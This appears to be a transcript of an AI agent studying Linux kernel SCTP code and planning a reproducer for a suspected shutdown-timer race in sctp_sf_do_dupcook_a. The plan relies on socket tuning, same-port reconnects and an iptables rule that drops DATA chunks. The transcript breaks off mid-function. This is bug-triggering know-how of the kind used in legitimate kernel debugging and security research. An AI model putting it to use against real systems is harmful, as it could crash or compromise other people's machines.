1524:				struct sctp_chunk *chunk;
1525:	
1526:				chunk = sctp_make_abort_user(asoc, NULL, 0);
1527:				sctp_primitive_ABORT(net, asoc, chunk);
1528:			} else
1529:				sctp_primitive_SHUTDOWN(net, asoc, NULL);
1530:		}
1531:	
1532:		/* On a TCP-style socket, block for at most linger_time if set. */
1533:		if (sctp_style(sk, TCP) && timeout)
1534:			sctp_wait_for_close(sk, timeout);
1535:	
1536:		/* This will run the backlog queue.  */
1537:		release_sock(sk);
1538:	
1539:		/* Supposedly, no process has access to the socket, but
1540:		 * the net layers still may.
1541:		 * Also, sctp_destroy_sock() needs to be called with addr_wq_lock
1542:		 * held and that should be grabbed before socket lock.
1543:		 */
1544:		spin_lock_bh(&net->sctp.addr_wq_lock);
1545:		bh_lock_sock_nested(sk);
1546:	
1547:		/* Hold the sock, since sk_common_release() will put sock_put()
1548:		 * and we have just a little more cleanup.
1549:		 */
1550:		sock_hold(sk);
1551:		sk_common_release(sk);
1552:	
1553:		bh_unlock_sock(sk);
1554:		spin_unlock_bh(&net->sctp.addr_wq_lock);
1555:	
1556:		sock_put(sk);
1557:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 70208
							output: 53
							thoughts: 1754
						

**My Thought Process on the SCTP Shutdown Race Condition**

Okay, so I'm digging into this potential race condition during SCTP shutdown, and it all seems to hinge on the interaction between a server socket entering the `CLOSING` state and an association entering `SHUTDOWN_SENT`.

When `sctp_close()` is called on the *server's accepted socket* (the one that accepted the client connection), it immediately sets the socket's state to `SCTP_SS_CLOSING`. Crucially, it then calls `sctp_primitive_SHUTDOWN()`, which, for the *association*, puts it into the `SHUTDOWN_SENT` state. This combination – `SCTP_SS_CLOSING` on the socket and `SHUTDOWN_SENT` on the association – perfectly aligns with the conditional check within `sctp_sf_do_dupcook_a`:

```c
	if ((sctp_state(asoc, SHUTDOWN_PENDING) ||
	     sctp_state(asoc, SHUTDOWN_SENT)) &&
	    (sctp_sstate(asoc->base.sk, CLOSING) ||
	     sock_flag(asoc->base.sk, SOCK_DEAD))) {
```

My initial thought is "Aha! `sctp_sstate(asoc->base.sk, CLOSING)` will be true here!"

But then a nagging question arises: if I call `close()` on the server socket, doesn't that mean the socket is *closed* and can no longer receive packets? My understanding is that no, not immediately. Even though the socket is in the `CLOSING` state, it remains "alive" as an "orphan" socket until the entire association is fully torn down (i.e., until `SHUTDOWN_ACK` is received and `SHUTDOWN_COMPLETE` is sent). This "orphan" status means it *will still process incoming packets*. And because it's an orphan socket, `sock_flag(sk, SOCK_DEAD)` will also be true, as `sk_common_release` eventually calls `sock_orphan(sk)` which sets that flag. So both conditions in `sctp_sf_do_dupcook_a` are met.

Now, let's trace the intended scenario that triggers this:

1.  **Server Setup:** `socket()`, `bind(port 12345)`, `listen()`.
2.  **Client 1 Setup:** `socket()`, `setsockopt(SO_REUSEPORT)`, `bind(port 54321)`, `connect(server)`.
3.  **Server Accepts:** `accept()` on the server, obtaining `client_fd`.
4.  **Tuning for Speed:** On `client_fd`, I'll set `SCTP_RTOINFO` to very small values (like 10ms) to ensure the `T2_SHUTDOWN` timer fires quickly.
5.  **Server Initiates Close:** The server calls `close(client_fd)`.
    *   This triggers a `SHUTDOWN` message to be sent to the client.
    *   The association on the server moves to the `SHUTDOWN_SENT` state.
    *   The server's `client_fd` socket transitions to `SCTP_SS_CLOSING` and `SOCK_DEAD`.
    *   The `T2_SHUTDOWN` timer is started on the server.
6.  **Client Concurrency:** The client then spawns multiple threads.
7.  **Each Client Thread:**
    *   Performs `socket()`, `setsockopt(SO_REUSEPORT)`, `bind(port 54321)`, and `connect(server)`.
    *   This action results in a new `INIT` packet being sent from the same client IP:port to the server.
8.  **Server's Unexpected `INIT`:** The server, being in the `SHUTDOWN_SENT` state on the *original* association, receives this `INIT` as an unexpected packet.
9.  **Server Responds:** The server sends back an `INIT_ACK` with tie tags.
10. **Client Thread Receives `INIT_ACK`:** The client thread processes this and sends a `COOKIE_ECHO`.
11. **Server Processes `COOKIE_ECHO` (Action A):** The server receives the `COOKIE_ECHO` and, importantly, it's processed as Action A. This action then calls `sctp_sf_do_9_2_start_shutdown`, which in turn issues an `SCTP_CMD_TIMER_START` for the `T2_SHUTDOWN` timer.
12. **The Race:** This is where the bug can occur. If the `T2_SHUTDOWN` timer fires *exactly* between the `timer_pending()` check and the `timer_reduce()` call within the `sctp_sf_do_dupcook_a` function, the conditions I identified earlier will be met, and the unexpected behavior can manifest.

However, a critical point surfaces: if the *original* client connection receives the `SHUTDOWN` message from the server, it *should* reply with a `SHUTDOWN_ACK`. If the server receives that `SHUTDOWN_ACK`, it will enter `SHUTDOWN_ACK_SENT`, send `SHUTDOWN_COMPLETE`, and the association will be destroyed. This is *not* what we want; we need the association to *remain open* in a state where it will process the new `INIT` packets.

So, the problem becomes: how do I prevent the original client connection from sending the `SHUTDOWN_ACK`?

My initial thoughts lean towards network manipulation:
*   **`iptables` or `tc`:** Drop `SHUTDOWN` packets from the server to the client, or `SHUTDOWN_ACK` packets from the client to the server.
*   **`iptables` limitation:** I realize `iptables` doesn't natively support `--chunk-types` unless `xt_sctp` is loaded, which might not be guaranteed.

Then I consider alternative approaches:
*   **Dropping all packets from the first client socket:** This won't work because the new client sockets *need* to send `INIT` and receive `INIT_ACK`, and they are using the same IP:port as the first socket.
*   **Using a raw socket:** This seems overly complicated and might bypass kernel-level SCTP handling I want to test.

I revisit the idea of dropping packets. What if I just drop `SHUTDOWN` packets? The server will retransmit them, which is fine, but it doesn't solve the `SHUTDOWN_ACK` problem.

What if I drop `SHUTDOWN_ACK` packets using `iptables`? Again, the `xt_sctp` module dependency is a concern.

Then, I have a realization about the *state* of the first client socket. If the server sends `SHUTDOWN` and the client receives it, it enters `SHUTDOWN_RECEIVED`. The crucial RFC 2960 detail is: "While in SHUTDOWN-RECEIVED state, the SHUTDOWN receiver MUST transmit a SHUTDOWN ACK after all remaining DATA chunks have been received and acknowledged."

My key question becomes: does it *only* send the `SHUTDOWN_ACK` when the *user-level program (ULP)* closes the socket, or does it send it immediately once acknowledged data is cleared, even if the ULP hasn't closed? The text suggests it *must* transmit the ACK once outstanding data is handled. I need to verify this behavior by looking at `sctp_sf_do_9_2_shut_ctsn` to understand precisely when the `SHUTDOWN_ACK` is triggered relative to the ULP's socket close. If the ULP doesn't close, does it get stuck in `SHUTDOWN_RECEIVED` and *not* send the ACK until the ULP closes? This would be the desired behavior to prevent the ACK from being sent prematurely.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_9_2_shut_ctsn]

map[SourceCode:2978:	/*
2979:	 * sctp_sf_do_9_2_shut_ctsn
2980:	 *
2981:	 * Once an endpoint has reached the SHUTDOWN-RECEIVED state,
2982:	 * it MUST NOT send a SHUTDOWN in response to a ULP request.
2983:	 * The Cumulative TSN Ack of the received SHUTDOWN chunk
2984:	 * MUST be processed.
2985:	 */
2986:	enum sctp_disposition sctp_sf_do_9_2_shut_ctsn(
2987:						struct net *net,
2988:						const struct sctp_endpoint *ep,
2989:						const struct sctp_association *asoc,
2990:						const union sctp_subtype type,
2991:						void *arg,
2992:						struct sctp_cmd_seq *commands)
2993:	{
2994:		struct sctp_chunk *chunk = arg;
2995:		struct sctp_shutdownhdr *sdh;
2996:		__u32 ctsn;
2997:	
2998:		if (!sctp_vtag_verify(chunk, asoc))
2999:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
3000:	
3001:		/* Make sure that the SHUTDOWN chunk has a valid length. */
3002:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_shutdown_chunk)))
3003:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
3004:							  commands);
3005:	
3006:		sdh = (struct sctp_shutdownhdr *)chunk->skb->data;
3007:		ctsn = ntohl(sdh->cum_tsn_ack);
3008:	
3009:		if (TSN_lt(ctsn, asoc->ctsn_ack_point)) {
3010:			pr_debug("%s: ctsn:%x, ctsn_ack_point:%x\n", __func__, ctsn,
3011:				 asoc->ctsn_ack_point);
3012:	
3013:			return SCTP_DISPOSITION_DISCARD;
3014:		}
3015:	
3016:		/* If Cumulative TSN Ack beyond the max tsn currently
3017:		 * send, terminating the association and respond to the
3018:		 * sender with an ABORT.
3019:		 */
3020:		if (!TSN_lt(ctsn, asoc->next_tsn))
3021:			return sctp_sf_violation_ctsn(net, ep, asoc, type, arg, commands);
3022:	
3023:		/* verify, by checking the Cumulative TSN Ack field of the
3024:		 * chunk, that all its outstanding DATA chunks have been
3025:		 * received by the SHUTDOWN sender.
3026:		 */
3027:		sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_CTSN,
3028:				SCTP_BE32(sdh->cum_tsn_ack));
3029:	
3030:		return SCTP_DISPOSITION_CONSUME;
3031:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 72949
							output: 50
							thoughts: 59
						

**My Thought Process Regarding SCTP Shutdown ACK Transmission**

So, my initial thought here is a bit of a *wait a minute*. I've just been looking at `sctp_sf_do_9_2_shut_ctsn`. My immediate question, as I'm tracing this SCTP shutdown sequence, is about the actual transmission of the `SHUTDOWN_ACK`. I understand that `sctp_sf_do_9_2_shut_ctsn` seems to be focused on processing the current CTSN (Cumulative TSN) within the shutdown procedure. That's its stated purpose, after all.

However, the crucial piece I'm missing, or rather, the point that's raising a flag for me, is *where* this function actually *initiates* the sending of the `SHUTDOWN_ACK` control chunk. It feels like it should be handling that outbound message.

To get to the bottom of this, my next logical step, and what I'm immediately going to do, is to dive into the `sctp_sf_do_9_2_shutdown` function. I'm hypothesizing that this broader shutdown handler function will either directly call the transmission logic for the `SHUTDOWN_ACK`, or it will be responsible for orchestrating the calls that ultimately lead to that ACK being sent out. It's likely the more encompassing function that ties together the various pieces of the shutdown handshake, including the generation and dispatch of acknowledgments.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_9_2_shutdown]

map[SourceCode:2863:	/*
2864:	 * sctp_sf_do_9_2_shut
2865:	 *
2866:	 * Section: 9.2
2867:	 * Upon the reception of the SHUTDOWN, the peer endpoint shall
2868:	 *  - enter the SHUTDOWN-RECEIVED state,
2869:	 *
2870:	 *  - stop accepting new data from its SCTP user
2871:	 *
2872:	 *  - verify, by checking the Cumulative TSN Ack field of the chunk,
2873:	 *    that all its outstanding DATA chunks have been received by the
2874:	 *    SHUTDOWN sender.
2875:	 *
2876:	 * Once an endpoint as reached the SHUTDOWN-RECEIVED state it MUST NOT
2877:	 * send a SHUTDOWN in response to a ULP request. And should discard
2878:	 * subsequent SHUTDOWN chunks.
2879:	 *
2880:	 * If there are still outstanding DATA chunks left, the SHUTDOWN
2881:	 * receiver shall continue to follow normal data transmission
2882:	 * procedures defined in Section 6 until all outstanding DATA chunks
2883:	 * are acknowledged; however, the SHUTDOWN receiver MUST NOT accept
2884:	 * new data from its SCTP user.
2885:	 *
2886:	 * Verification Tag:  8.5 Verification Tag [Normal verification]
2887:	 *
2888:	 * Inputs
2889:	 * (endpoint, asoc, chunk)
2890:	 *
2891:	 * Outputs
2892:	 * (asoc, reply_msg, msg_up, timers, counters)
2893:	 *
2894:	 * The return value is the disposition of the chunk.
2895:	 */
2896:	enum sctp_disposition sctp_sf_do_9_2_shutdown(
2897:						struct net *net,
2898:						const struct sctp_endpoint *ep,
2899:						const struct sctp_association *asoc,
2900:						const union sctp_subtype type,
2901:						void *arg,
2902:						struct sctp_cmd_seq *commands)
2903:	{
2904:		enum sctp_disposition disposition;
2905:		struct sctp_chunk *chunk = arg;
2906:		struct sctp_shutdownhdr *sdh;
2907:		struct sctp_ulpevent *ev;
2908:		__u32 ctsn;
2909:	
2910:		if (!sctp_vtag_verify(chunk, asoc))
2911:			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
2912:	
2913:		/* Make sure that the SHUTDOWN chunk has a valid length. */
2914:		if (!sctp_chunk_length_valid(chunk, sizeof(struct sctp_shutdown_chunk)))
2915:			return sctp_sf_violation_chunklen(net, ep, asoc, type, arg,
2916:							  commands);
2917:	
2918:		/* Convert the elaborate header.  */
2919:		sdh = (struct sctp_shutdownhdr *)chunk->skb->data;
2920:		skb_pull(chunk->skb, sizeof(*sdh));
2921:		chunk->subh.shutdown_hdr = sdh;
2922:		ctsn = ntohl(sdh->cum_tsn_ack);
2923:	
2924:		if (TSN_lt(ctsn, asoc->ctsn_ack_point)) {
2925:			pr_debug("%s: ctsn:%x, ctsn_ack_point:%x\n", __func__, ctsn,
2926:				 asoc->ctsn_ack_point);
2927:	
2928:			return SCTP_DISPOSITION_DISCARD;
2929:		}
2930:	
2931:		/* If Cumulative TSN Ack beyond the max tsn currently
2932:		 * send, terminating the association and respond to the
2933:		 * sender with an ABORT.
2934:		 */
2935:		if (!TSN_lt(ctsn, asoc->next_tsn))
2936:			return sctp_sf_violation_ctsn(net, ep, asoc, type, arg, commands);
2937:	
2938:		/* API 5.3.1.5 SCTP_SHUTDOWN_EVENT
2939:		 * When a peer sends a SHUTDOWN, SCTP delivers this notification to
2940:		 * inform the application that it should cease sending data.
2941:		 */
2942:		ev = sctp_ulpevent_make_shutdown_event(asoc, 0, GFP_ATOMIC);
2943:		if (!ev) {
2944:			disposition = SCTP_DISPOSITION_NOMEM;
2945:			goto out;
2946:		}
2947:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
2948:	
2949:		/* Upon the reception of the SHUTDOWN, the peer endpoint shall
2950:		 *  - enter the SHUTDOWN-RECEIVED state,
2951:		 *  - stop accepting new data from its SCTP user
2952:		 *
2953:		 * [This is implicit in the new state.]
2954:		 */
2955:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
2956:				SCTP_STATE(SCTP_STATE_SHUTDOWN_RECEIVED));
2957:		disposition = SCTP_DISPOSITION_CONSUME;
2958:	
2959:		if (sctp_outq_is_empty(&asoc->outqueue)) {
2960:			disposition = sctp_sf_do_9_2_shutdown_ack(net, ep, asoc, type,
2961:								  arg, commands);
2962:		}
2963:	
2964:		if (SCTP_DISPOSITION_NOMEM == disposition)
2965:			goto out;
2966:	
2967:		/*  - verify, by checking the Cumulative TSN Ack field of the
2968:		 *    chunk, that all its outstanding DATA chunks have been
2969:		 *    received by the SHUTDOWN sender.
2970:		 */
2971:		sctp_add_cmd_sf(commands, SCTP_CMD_PROCESS_CTSN,
2972:				SCTP_BE32(chunk->subh.shutdown_hdr->cum_tsn_ack));
2973:	
2974:	out:
2975:		return disposition;
2976:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 74957
							output: 38
							thoughts: 2276
						

**The Path to Preventing Server Association Demise**

My primary concern is preventing the server's SCTP association from prematurely entering a DEAD state. I've identified a critical path: if the client's outbound queue (`outqueue`) is empty when `sctp_sf_do_9_2_shutdown_ack` is called, it immediately dispatches a `SHUTDOWN_ACK`. This, in turn, prompts the server to receive it, transition to `SHUTDOWN_ACK_SENT`, and then send `SHUTDOWN_COMPLETE`, effectively killing the server association. This is precisely what I want to avoid; I need the server to remain in the `SHUTDOWN_SENT` state.

My initial thought was to simply ensure the client's `outqueue` was *not* empty. The most straightforward way to achieve this seemed to be by sending data from the client, but crucially, *not* having the server acknowledge it. However, this presented a problem: if the server *did* acknowledge the data, it would naturally empty the client's `outqueue`, defeating the purpose.

This led me to consider network-level interventions. Could I use `iptables` or `tc` to drop the data packets? This seemed promising, but a more targeted approach emerged: what if I specifically dropped the `SHUTDOWN_ACK` packets instead? My reasoning was that if the server retransmitted `SHUTDOWN` due to the dropped `SHUTDOWN_ACK`, it would remain in the `SHUTDOWN_SENT` state. I confirmed that `iptables` could indeed be used for this, though it requires the `xt_sctp` module for SCTP chunk types.

However, I was looking for a simpler solution than `iptables` with SCTP specific rules. I then explored the idea of the client simply not replying. Using a raw socket for the client crossed my mind, as it bypasses the kernel's automatic `SHUTDOWN_ACK` reply. But then I realized that even with a raw socket, if the packets matched an existing association, the kernel SCTP stack would still process them. If I *didn't* create a kernel SCTP socket on the client, the kernel would likely respond with an `ABORT`, which I also want to avoid. To counter this, I'd need to drop `ABORT` packets with `iptables`, or even drop all SCTP packets from the client except those sent via the raw socket. This felt overly complicated for a concise reproducer, especially since using a raw socket would necessitate implementing the full SCTP handshake (`INIT`, `INIT_ACK`, `COOKIE_ECHO`), which is quite involved.

I returned to the core problem: how to keep the client's `outqueue` non-empty? The idea of sending a `DATA` chunk from the client, but with the server's receive window set to zero, surfaced. If the server sets `SO_RCVBUF` to 0, it advertises a zero window. This would cause the client to send `DATA`, but the server would either drop it or hold it in its queue, thereby keeping the client's `outqueue` populated. I decided to investigate this further.

The scenario unfolded like this:
1. The server sets up its socket and binds.
2. Crucially, it sets `SO_RCVBUF` to a small value (e.g., 1024) to advertise a limited receive window.
3. The client establishes a connection.
4. The server accepts and then, importantly, sets `SCTP_RTOINFO` to very small retransmission timeout values (e.g., 10ms) on the client's connection. This is to ensure rapid retransmission if needed.
5. The client then sends a large message (e.g., 100KB). Because this message exceeds the server's advertised receive window, only a portion of it can be accepted, leaving the remainder in the client's `outqueue` as outstanding data.
6. The server then calls `close()` on the client socket. This initiates the `SHUTDOWN` process.
7. The client receives the `SHUTDOWN`. Because its `outqueue` is *not* empty, it enters the `SHUTDOWN_RECEIVED` state and, critically, *does not* send a `SHUTDOWN_ACK`. This is exactly the desired behavior!

However, a crucial detail in the `sctp_close` function's logic for sending `ABORT` versus `SHUTDOWN` emerged. I discovered that if the server's receive queue contains unread data when `close()` is called, it will send an `ABORT` instead of `SHUTDOWN`. This meant that my previous approach of sending a large message to fill the client's `outqueue` would *also* fill the server's receive queue, leading to an `ABORT`, which is unacceptable. I needed a way to keep the client's `outqueue` non-empty *without* leaving unread data in the server's receive queue.

This led me to a crucial realization: if the server *reads* all the data, but the client *still* has data in its `outqueue`, that scenario is impossible. If the server reads it, it acknowledges it, and the client's `outqueue` would consequently empty.

This brought me back to network manipulation, but with a twist: what if the server drops the `DATA` chunks using `iptables`? Specifically, `system("iptables -A INPUT -p sctp --chunk-types any DATA -j DROP");`. If I drop the `DATA` chunks from the client to the server, the client's `outqueue` would remain non-empty because its `DATA` packets would never be acknowledged (they'd be dropped). Simultaneously, the server's receive queue would remain empty because it never successfully receives the data. This would mean that when `close()` is called on the server, it would correctly send `SHUTDOWN` (as there's no unread data), and the client, with its non-empty `outqueue`, would enter `SHUTDOWN_RECEIVED` and not send `SHUTDOWN_ACK`. This seemed like the most elegant and effective solution.

A refinement was needed for the `iptables` rule to ensure it only targeted `DATA` chunks. My concern about dropping *all* packets from the client using IP/port-based rules was valid, as it would also block new connection attempts. However, focusing on dropping just `DATA` chunks directly addressed the issue of keeping the client's `outqueue` busy without populating the server's receive buffer.

Finally, I considered `SO_LINGER` on the server, but recalled that its behavior is dependent on `data_was_unread`, bringing me back to the core problem of unread data. The idea of using `tc netem loss` to drop packets randomly was considered but deemed too unreliable. I then contemplated entering `SHUTDOWN_SENT` via `shutdown(client_fd, SHUT_WR)`, but wanted to fully understand the `close()` behavior first.

The most robust solution appears to be using `iptables` to drop `DATA` chunks specifically, ensuring the client's `outqueue` remains populated while the server's receive queue stays clear, thus forcing a `SHUTDOWN` and preventing an `ABORT` during the close sequence.

map[ContextFile:net/sctp/socket.c Name:sctp_shutdown]

map[SourceCode:5192:	/* API 4.1.7 shutdown() - TCP Style Syntax
5193:	 *     int shutdown(int socket, int how);
5194:	 *
5195:	 *     sd      - the socket descriptor of the association to be closed.
5196:	 *     how     - Specifies the type of shutdown.  The  values  are
5197:	 *               as follows:
5198:	 *               SHUT_RD
5199:	 *                     Disables further receive operations. No SCTP
5200:	 *                     protocol action is taken.
5201:	 *               SHUT_WR
5202:	 *                     Disables further send operations, and initiates
5203:	 *                     the SCTP shutdown sequence.
5204:	 *               SHUT_RDWR
5205:	 *                     Disables further send  and  receive  operations
5206:	 *                     and initiates the SCTP shutdown sequence.
5207:	 */
5208:	static void sctp_shutdown(struct sock *sk, int how)
5209:	{
5210:		struct net *net = sock_net(sk);
5211:		struct sctp_endpoint *ep;
5212:	
5213:		if (!sctp_style(sk, TCP))
5214:			return;
5215:	
5216:		ep = sctp_sk(sk)->ep;
5217:		if (how & SEND_SHUTDOWN && !list_empty(&ep->asocs)) {
5218:			struct sctp_association *asoc;
5219:	
5220:			inet_sk_set_state(sk, SCTP_SS_CLOSING);
5221:			asoc = list_entry(ep->asocs.next,
5222:					  struct sctp_association, asocs);
5223:			sctp_primitive_SHUTDOWN(net, asoc, NULL);
5224:		}
5225:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 77818
							output: 39
							thoughts: 1395
						

**My Thought Process Unveiled: Mastering SCTP Shutdown and Reconnection Shenanigans**

So, I'm digging into how `shutdown(fd, SHUT_WR)` behaves with SCTP, and it's a bit of a rabbit hole! My first realization is that this call immediately sets the socket state to `SCTP_SS_CLOSING` and kicks off `sctp_primitive_SHUTDOWN`. Crucially, it *doesn't* check if there was unread data, nor does it trigger an `ABORT`. This is key! It means I can confidently use `shutdown(client_fd, SHUT_WR)` without worrying about those immediate negative consequences.

Then I started pondering the `SOCK_DEAD` flag. I noticed that `shutdown()` itself doesn't set this flag. But then I remembered `sctp_sf_do_dupcook_a`. It has this condition: `if ((sctp_state(asoc, SHUTDOWN_PENDING) || sctp_state(asoc, SHUTDOWN_SENT)) && (sctp_sstate(asoc->base.sk, CLOSING) || sock_flag(asoc->base.sk, SOCK_DEAD)))`. Aha! Since `shutdown()` *does* set `sctp_sstate(asoc->base.sk, CLOSING)` to true, that part of the condition will always be met. This means `SOCK_DEAD` isn't necessary for this specific path. Fantastic!

However, my excitement was short-lived. If I use `shutdown(client_fd, SHUT_WR)`, the server sends a `SHUTDOWN` message. The client receives it. If the client's outgoing queue is empty, it will then send a `SHUTDOWN_ACK`, which leads to the association being destroyed. I still need to prevent that `SHUTDOWN_ACK` from being sent. The problem is how to keep the client's outgoing queue from being empty.

This is where the receive window comes into play. If the client sends a large message and the server *doesn't read it*, the server's receive window will fill up. But wait – even if the server's application doesn't read the data, the SCTP stack will still acknowledge received `DATA` chunks as long as they fit within the `SO_RCVBUF` limit. If the server's `SO_RCVBUF` is set to a very small value, say 0 or a minimal amount, it will advertise a tiny receive window. So, if the client sends a massive message (like 100KB) and the server can only acknowledge a small portion (say, 1500 bytes due to the small `SO_RCVBUF`), the client will still have a substantial amount of data (98.5KB) in its outgoing queue waiting for the window to open.

This is the winning strategy! The client calls `send(fd, buf, 100000, MSG_DONTWAIT)`, queuing the data. It sends up to the peer's advertised window. The rest remains in the outgoing queue. Then, the server calls `shutdown(client_fd, SHUT_WR)`, sending `SHUTDOWN`. The client receives it. Since its outgoing queue is *not* empty (because of that large unacknowledged data), it *won't* send `SHUTDOWN_ACK`. Instead, it will transition to the `SHUTDOWN_RECEIVED` state. The server, having sent `SHUTDOWN`, will remain in the `SHUTDOWN_SENT` state. This elegant solution avoids complex `iptables` rules or raw sockets.

Now, let's scrutinize the `SO_RCVBUF` trick more closely. I'd set the server's `SO_RCVBUF` to something small, like `1024` bytes. Then, the client sends a huge buffer, say `1024 * 1024` bytes, using `send` with `MSG_DONTWAIT`. This *will* ensure data remains in the client's outgoing queue. Subsequently, the server calls `shutdown(client_fd, SHUT_WR)`, putting the server into the `SHUTDOWN_SENT` state.

The next piece of the puzzle: what happens if the client socket is in `SHUTDOWN_RECEIVED` and I create a *new* socket on the same port and try to `connect()`? This new socket will send an `INIT` message. The server, since the source IP and port match the existing association, will receive this `INIT`. Because the existing association is in `SHUTDOWN_SENT` and the `INIT` is unexpected, it will respond with an `INIT_ACK` containing tie tags. This `INIT_ACK` is sent back to the client's IP and port. The client kernel receives it, and crucially, the `INIT_ACK`'s verification tag matches the `init_tag` of the *new* socket. SCTP routes packets based on verification tags, so the `INIT_ACK` will be directed to the new socket. This new socket is in `COOKIE_WAIT`, so it processes the `INIT_ACK` and sends a `COOKIE_ECHO` with the tie tags.

Now, the server receives this `COOKIE_ECHO`. It attempts to look up the association. Here's the sticky wicket: the verification tag in the `COOKIE_ECHO` is the *new* tag, which doesn't match the existing association's verification tag. Will the server's routing of this `COOKIE_ECHO` somehow end up on the *existing* association, or will it be discarded or handled by the new socket's state? I need to dig into how `COOKIE_ECHO` packets are routed to confirm this.

map[ContextFile:net/sctp/input.c Name:sctp_rcv]

map[SourceCode:  85:	/*
  86:	 * This is the routine which IP calls when receiving an SCTP packet.
  87:	 */
  88:	int sctp_rcv(struct sk_buff *skb)
  89:	{
  90:		struct sock *sk;
  91:		struct sctp_association *asoc;
  92:		struct sctp_endpoint *ep = NULL;
  93:		struct sctp_ep_common *rcvr;
  94:		struct sctp_transport *transport = NULL;
  95:		struct sctp_chunk *chunk;
  96:		union sctp_addr src;
  97:		union sctp_addr dest;
  98:		int family;
  99:		struct sctp_af *af;
 100:		struct net *net = dev_net(skb->dev);
 101:		bool is_gso = skb_is_gso(skb) && skb_is_gso_sctp(skb);
 102:		int dif, sdif;
 103:	
 104:		if (skb->pkt_type != PACKET_HOST)
 105:			goto discard_it;
 106:	
 107:		__SCTP_INC_STATS(net, SCTP_MIB_INSCTPPACKS);
 108:	
 109:		/* If packet is too small to contain a single chunk, let's not
 110:		 * waste time on it anymore.
 111:		 */
 112:		if (skb->len < sizeof(struct sctphdr) + sizeof(struct sctp_chunkhdr) +
 113:			       skb_transport_offset(skb))
 114:			goto discard_it;
 115:	
 116:		/* If the packet is fragmented and we need to do crc checking,
 117:		 * it's better to just linearize it otherwise crc computing
 118:		 * takes longer.
 119:		 */
 120:		if (((!is_gso || skb_cloned(skb)) && skb_linearize(skb)) ||
 121:		    !pskb_may_pull(skb, sizeof(struct sctphdr)))
 122:			goto discard_it;
 123:	
 124:		/* Pull up the IP header. */
 125:		__skb_pull(skb, skb_transport_offset(skb));
 126:	
 127:		skb->csum_valid = 0; /* Previous value not applicable */
 128:		if (skb_csum_unnecessary(skb))
 129:			__skb_decr_checksum_unnecessary(skb);
 130:		else if (!sctp_checksum_disable &&
 131:			 !is_gso &&
 132:			 sctp_rcv_checksum(net, skb) < 0)
 133:			goto discard_it;
 134:		skb->csum_valid = 1;
 135:	
 136:		__skb_pull(skb, sizeof(struct sctphdr));
 137:	
 138:		family = ipver2af(ip_hdr(skb)->version);
 139:		af = sctp_get_af_specific(family);
 140:		if (unlikely(!af))
 141:			goto discard_it;
 142:		SCTP_INPUT_CB(skb)->af = af;
 143:	
 144:		/* Initialize local addresses for lookups. */
 145:		af->from_skb(&src, skb, 1);
 146:		af->from_skb(&dest, skb, 0);
 147:		dif = af->skb_iif(skb);
 148:		sdif = af->skb_sdif(skb);
 149:	
 150:		/* If the packet is to or from a non-unicast address,
 151:		 * silently discard the packet.
 152:		 *
 153:		 * This is not clearly defined in the RFC except in section
 154:		 * 8.4 - OOTB handling.  However, based on the book "Stream Control
 155:		 * Transmission Protocol" 2.1, "It is important to note that the
 156:		 * IP address of an SCTP transport address must be a routable
 157:		 * unicast address.  In other words, IP multicast addresses and
 158:		 * IP broadcast addresses cannot be used in an SCTP transport
 159:		 * address."
 160:		 */
 161:		if (!af->addr_valid(&src, NULL, skb) ||
 162:		    !af->addr_valid(&dest, NULL, skb))
 163:			goto discard_it;
 164:	
 165:		asoc = __sctp_rcv_lookup(net, skb, &src, &dest, &transport, dif, sdif);
 166:	
 167:		if (!asoc)
 168:			ep = __sctp_rcv_lookup_endpoint(net, skb, &dest, &src, dif, sdif);
 169:	
 170:		/* Retrieve the common input handling substructure. */
 171:		rcvr = asoc ? &asoc->base : &ep->base;
 172:		sk = rcvr->sk;
 173:	
 174:		/*
 175:		 * RFC 2960, 8.4 - Handle "Out of the blue" Packets.
 176:		 * An SCTP packet is called an "out of the blue" (OOTB)
 177:		 * packet if it is correctly formed, i.e., passed the
 178:		 * receiver's checksum check, but the receiver is not
 179:		 * able to identify the association to which this
 180:		 * packet belongs.
 181:		 */
 182:		if (!asoc) {
 183:			if (sctp_rcv_ootb(skb)) {
 184:				__SCTP_INC_STATS(net, SCTP_MIB_OUTOFBLUES);
 185:				goto discard_release;
 186:			}
 187:		}
 188:	
 189:		if (!xfrm_policy_check(sk, XFRM_POLICY_IN, skb, family))
 190:			goto discard_release;
 191:		nf_reset_ct(skb);
 192:	
 193:		if (sk_filter(sk, skb) || skb->len < sizeof(struct sctp_chunkhdr))
 194:			goto discard_release;
 195:	
 196:		/* Create an SCTP packet structure. */
 197:		chunk = sctp_chunkify(skb, asoc, sk, GFP_ATOMIC);
 198:		if (!chunk)
 199:			goto discard_release;
 200:		SCTP_INPUT_CB(skb)->chunk = chunk;
 201:	
 202:		/* Remember what endpoint is to handle this packet. */
 203:		chunk->rcvr = rcvr;
 204:	
 205:		/* Remember the SCTP header. */
 206:		chunk->sctp_hdr = sctp_hdr(skb);
 207:	
 208:		/* Set the source and destination addresses of the incoming chunk.  */
 209:		sctp_init_addrs(chunk, &src, &dest);
 210:	
 211:		/* Remember where we came from.  */
 212:		chunk->transport = transport;
 213:	
 214:		/* Acquire access to the sock lock. Note: We are safe from other
 215:		 * bottom halves on this lock, but a user may be in the lock too,
 216:		 * so check if it is busy.
 217:		 */
 218:		bh_lock_sock(sk);
 219:	
 220:		if (sk != rcvr->sk) {
 221:			/* Our cached sk is different from the rcvr->sk.  This is
 222:			 * because migrate()/accept() may have moved the association
 223:			 * to a new socket and released all the sockets.  So now we
 224:			 * are holding a lock on the old socket while the user may
 225:			 * be doing something with the new socket.  Switch our veiw
 226:			 * of the current sk.
 227:			 */
 228:			bh_unlock_sock(sk);
 229:			sk = rcvr->sk;
 230:			bh_lock_sock(sk);
 231:		}
 232:	
 233:		if (sock_owned_by_user(sk) || !sctp_newsk_ready(sk)) {
